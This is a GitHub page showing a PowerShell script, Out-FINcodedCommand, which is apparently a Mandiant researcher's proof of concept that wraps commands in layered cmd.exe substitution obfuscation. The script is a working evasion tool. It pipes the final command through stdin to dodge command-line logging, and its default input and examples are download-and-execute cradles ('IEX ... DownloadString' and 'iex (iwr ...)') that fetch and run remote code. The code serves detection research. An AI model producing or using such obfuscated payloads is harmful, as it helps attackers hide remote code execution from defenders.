-
Notifications
You must be signed in to change notification settings - Fork 32
/
Out-FINcodedCommand.ps1
281 lines (225 loc) · 14 KB
/
Out-FINcodedCommand.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
function Out-FINcodedCommand
{
<#
.SYNOPSIS
Out-FINcodedCommand is a research POC designed to highlight the layered replacement obfuscation functionality that cmd.exe supports.
THIS IS NOT AN ENDORSEMENT FOR ANY FIN GROUPS OR OTHER THREAT ACTORS TO USE THIS TOOL TO PRODUCE PAYLOADS.
DO NOT USE THIS TOOL OR ITS OUTPUT AGAINST ANY SYSTEM THAT YOU ARE NOT AUTHORIZED TO ACCESS.
AKA: Please do not use this tool for evil.
.DESCRIPTION
Out-FINcodedCommand is a research POC designed to highlight the layered replacement obfuscation functionality that cmd.exe supports.
.PARAMETER Command
Specifies the command to obfuscate with FINcoding-style cmd.exe replacement syntax.
.PARAMETER CmdSyntax
Specifies the syntax to reference cmd.exe (otherwise one is randomly assigned from some fun options).
.PARAMETER PowerShellSyntax
Specifies the syntax to reference powershell.exe (otherwise one is randomly assigned from some fun options).
.PARAMETER FinalBinary
Specifies the binary to push the final obfuscated command into via stdin.
.EXAMPLE
C:\PS> Out-FINcodedCommand -Command "iex (iwr http://bit.ly/L3g1t).content"
C:\PS> Out-FINcodedCommand -Command "iex (iwr http://bit.ly/L3g1t).content" -CmdSyntax "%ProgramData:~0,1%%ProgramData:~9,2%" -PowerShellSyntax "%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1%" -FinalBinary powershell
.NOTES
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
.LINK
http://www.danielbohannon.com
#>
[CmdletBinding()]
param (
[Parameter(Position = 0, Mandatory = $false)]
[System.String]
$Command = "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')",
[Parameter(Position = 0, Mandatory = $false)]
[System.String]
$CmdSyntax = (Get-Random -InputObject @("cmd.exe","cmd","%COMSPEC%","%ProgramData:~0,1%%ProgramData:~9,2%","C:\ProgramData\Microsoft\..\..\Windows\System32\cmd.exe")),
[Parameter(Position = 0, Mandatory = $false)]
[System.String]
$PowerShellSyntax = (Get-Random -InputObject @("powershell.exe","powershell","%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1%","C:\ProgramData\Microsoft\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe")),
[Parameter(Position = 0, Mandatory = $false)]
[ValidateSet('cmd','powershell')]
[System.String]
$FinalBinary = 'powershell'
)
# Assign input $CmdSyntax/$PowerShellSyntax for selected $FinalBinary.
if ($FinalBinary.ToLower() -eq 'powershell')
{
# Add - for stdin syntax if 'powershell' was selected for $FinalBinary. This dash is NOT necessary for PS 3.0+.
$FinalBinarySyntax = $PowerShellSyntax + ' -'
}
elseif ($FinalBinary.ToLower() -eq 'cmd')
{
$FinalBinarySyntax = $CmdSyntax
}
# Output input options:
Write-Host "[*] CmdSyntax :: " -NoNewLine -ForegroundColor Cyan
Write-Host $CmdSyntax -ForegroundColor Yellow
Write-Host "[*] PowerShellSyntax :: " -NoNewLine -ForegroundColor Cyan
Write-Host $PowerShellSyntax -ForegroundColor Yellow
Write-Host "[*] FinalBinarySyntax :: " -NoNewLine -ForegroundColor Cyan
Write-Host $FinalBinarySyntax -ForegroundColor Yellow
Write-Host "[*] Command to FINcode :: " -NoNewLine -ForegroundColor Cyan
Write-Host $Command -ForegroundColor Yellow
# Set $FINcodedCommand to input $Command.
$FINcodedCommand = $Command
# Define characters that need to be escaped properly from a cmd.exe perspective. DO NOT MOVE '^' FROM THE FIRST ELEMENT OF $charsToEscape ARRAY! It is there for a reason :)
$charsToEscape = @('^','&','|')
# Set a plethora of tags we will use as placeholders for values that will be substituted at the end (mostly) of each iteration.
$curVarNameTag = '<CURVARNAMETAG>'
$lastVarNameTag = '<LASTVARNAMETAG>'
$curVarReplaceSyntaxTag = '<VARREPLACESYNTAXTAG>'
$FINcodedCommandTag = '<FINCODEDCOMMANDTAG>'
$escapingTag = '<ESCAPINGTAG>'
# Set current syntax for input command with cmd.exe wrapper syntax, handling substitutions and piping final result into cmd.exe via stdin to avoid command line logging for the final deobfuscated command.
$finalCommand = @("$CmdSyntax /c `"set $curVarNameTag=$FINcodedCommandTag&&$CmdSyntax /c ","","echo %$curVarReplaceSyntaxTag%|$FinalBinarySyntax`"")
# Keep track of all entered var names so there are not duplicates.
$allVarNames = @()
# Keep track of all entered escaped placeholder values to avoid complex replacement errors particular when dealing with numerous layers of escaping.
$allPlaceholderValues = @()
$curVarName = $null
$lastVarName = $null
$lastVarReplaceSyntax = $null
$andAnd = '&&'
$keepEncoding = $true
# Loop infinitely so as many encoding layers can be added as the user wants. Ctrl+C to exit. This is a POC not a Cadillac.
while ($keepEncoding)
{
# Build out pre-escaped version of FINcodedCommand for all comparison checks leading up to the actual escaping applied at the end of this loop.
$escapingSyntax = '^' * ([System.Math]::Pow(2,$allVarNames.Count + 2) - 1)
$FINcodedCommandWithEscaping = $FINcodedCommand.Replace($escapingTag,$escapingSyntax)
Write-Host "`n[*] Enter char/string to FINcode " -NoNewline -ForegroundColor Cyan
Write-Host "(or Ctrl+C to exit)" -NoNewline -ForegroundColor Yellow
Write-Host ": " -NoNewline -ForegroundColor Cyan
$charOrStringToFINcode = Read-Host
# Perform error handling for user input.
if (-not $FINcodedCommandWithEscaping.Contains($charOrStringToFINcode))
{
Write-Host "[*] ERROR :: Cannot find " -NoNewLine -ForegroundColor Red
Write-Host $charOrStringToFINcode -NoNewLine -ForegroundColor Yellow
Write-Host " in your current FINcoded command (remember it's case sensitive)..." -ForegroundColor Red
}
else
{
# See if escaping needs to occur for any input character(s).
foreach ($charToEscape in $charsToEscape)
{
if ([System.Char[]] $charOrStringToFINcode -contains $charToEscape)
{
# Add escaping tag that will be substituted with the approate layers of escaping.
$charOrStringToFINcode = $charOrStringToFINcode.Replace($charToEscape,($escapingSyntax + $charToEscape))
}
}
# Loop until user input is valid.
$keepGettingPlaceholder = $true
while ($keepGettingPlaceholder)
{
Write-Host "[*] Enter char/string for placeholder for above substitution: " -NoNewline -ForegroundColor Cyan
$placeholder = Read-Host
# See if escaping needs to occur for any input character(s).
foreach ($charToEscape in $charsToEscape)
{
if ([System.Char[]] $placeholder -contains $charToEscape)
{
# Add escaping tag that will be substituted with the approate layers of escaping.
$placeholder = $placeholder.Replace($charToEscape,($escapingSyntax + $charToEscape))
}
}
# Check for layered escaping conflict across previous placeholder values stored in $allPlaceholderValues.
# Example: If first placeholder is "|" (escaped to "^^^|") and the second placeholder is "&|" (escaped to "^^^^^^^&^^^^^^^|") then the first layer replacement of "^^^|" will conflict with the second layer replacement.
$escapedPlaceholderConflict = $null
foreach ($prevPlaceholderValue in $allPlaceholderValues)
{
if ($placeholder.Contains($prevPlaceholderValue))
{
$escapedPlaceholderConflict = $prevPlaceholderValue
}
}
# Perform error handling for user input.
if ($FINcodedCommandWithEscaping.ToLower().Contains($placeholder.ToLower()))
{
Write-Host "[*] ERROR :: Selected placeholder " -NoNewLine -ForegroundColor Red
Write-Host $placeholder -NoNewLine -ForegroundColor Yellow
Write-Host " already exists in your current FINcoded command (cmd.exe replace is case INsensitive)..." -ForegroundColor Red
}
elseif ( ($charOrStringToFINcode.Length -gt 0) -and ($FINcodedCommandWithEscaping -ne $FINcodedCommandWithEscaping.Replace($charOrStringToFINcode,$placeholder).Replace($placeholder,$charOrStringToFINcode)) )
{
# Example: In "Object" replacing "je" with "bb" will result in "Obbbct".
# When the replace is performed it will match on the first instance of "bb" resulting in the incorrect "Ojebct".
Write-Host "[*] ERROR :: Placeholder " -NoNewLine -ForegroundColor Red
Write-Host $placeholder -NoNewLine -ForegroundColor Yellow
Write-Host " substitution will cause incorrect dubious replacement due to adjacent text after substitution..." -ForegroundColor Red
}
elseif ($escapedPlaceholderConflict)
{
# Example: If first placeholder is "|" (escaped to "^^^|") and the second placeholder is "&|" (escaped to "^^^^^^^&^^^^^^^|") then the first layer replacement of "^^^|" will conflict with the second layer replacement.
Write-Host "[*] ERROR :: Placeholder " -NoNewLine -ForegroundColor Red
Write-Host $placeholder -NoNewLine -ForegroundColor Yellow
Write-Host " conflicts with previously escaped placeholder " -NoNewLine -ForegroundColor Red
Write-Host $escapedPlaceholderConflict -NoNewLine -ForegroundColor Yellow
Write-Host "..." -ForegroundColor Red
}
else
{
$allPlaceholderValues += $placeholder
$keepGettingPlaceholder = $false
}
}
# Update original FINcodedCommand with most recent substitution.
if ($charOrStringToFINcode.Length -gt 0)
{
$FINcodedCommand = $FINcodedCommandWithEscaping.Replace($charOrStringToFINcode,$placeholder)
}
# Keep track of previous and current var names.
$lastVarName = $curVarName
# Loop until user input is valid.
$keepReadingInput = $true
while ($keepReadingInput)
{
Write-Host "[*] Enter variable name to store this layer of substitution: " -NoNewline -ForegroundColor Cyan
$curVarName = Read-Host
# Perform error handling for user input.
if ($allVarNames -notcontains $curVarName)
{
$keepReadingInput = $false
$allVarNames += $curVarName
}
else
{
Write-Host "[*] ERROR :: You have already used " -NoNewLine -ForegroundColor Red
Write-Host $curVarName -NoNewLine -ForegroundColor Yellow
Write-Host " as a variable name -- duplicates are not allowed..." -ForegroundColor Red
}
}
# Update current cmd.exe wrapper syntax for current FINcoded command.
$curVarReplaceSyntax = "$curVarName`:$placeholder=$charOrStringToFINcode"
if ($allVarNames.Count -eq 1)
{
# Update appropriate $finalCommand array elements.
$finalCommand[0] = $finalCommand[0].Replace($curVarNameTag,$curVarName)
$finalCommand[2] = $finalCommand[2].Replace($curVarReplaceSyntaxTag,$curVarReplaceSyntax)
}
else
{
# Handle levels of escaping for cmd.exe's && syntax.
$andAnd = -join ( [System.Char[]] $andAnd | ForEach-Object { "^$_" } )
# Update appropriate $finalCommand array elements.
$finalCommand[0] = $finalCommand[0].Replace($curVarNameTag,$curVarName)
$finalCommand[1] += "set $curVarName=%$lastVarReplaceSyntax% $andAnd$CmdSyntax /c "
$finalCommand[2] = "echo %$curVarReplaceSyntax%|$FinalBinarySyntax`""
}
# Keep track of last variable replace syntax for next iteration.
$lastVarReplaceSyntax = $curVarReplaceSyntax
# Assemble final FINcoded command for current iteration.
$finalFINcodedCommand = $finalCommand[0].Replace($FINcodedCommandTag,$FINcodedCommand) + $finalCommand[1] + $finalCommand[2]
# Perform substitutions for all necessary levels of escaping.
$escapingSyntax = '^' * ([System.Math]::Pow(2,$allVarNames.Count) - 1)
# Copy current FINcoded command result to clipboard.
$finalFINcodedCommand | C:\Windows\System32\clip.exe
# Output result in classic DBO fasion: Write-Host + lots of colors.
$FINcodedCommandIndex = $finalFINcodedCommand.IndexOf($FINcodedCommand)
Write-Host "`n[*] Current FINcoded command (copied to clipboard):" -ForegroundColor Cyan
Write-Host " $($finalFINcodedCommand.Substring(0,$FINcodedCommandIndex))" -NoNewLine -ForegroundColor Green
Write-Host $FINcodedCommand -NoNewLine -ForegroundColor Yellow
Write-Host $finalFINcodedCommand.Substring($FINcodedCommandIndex + $FINcodedCommand.Length) -ForegroundColor Green
}
}
}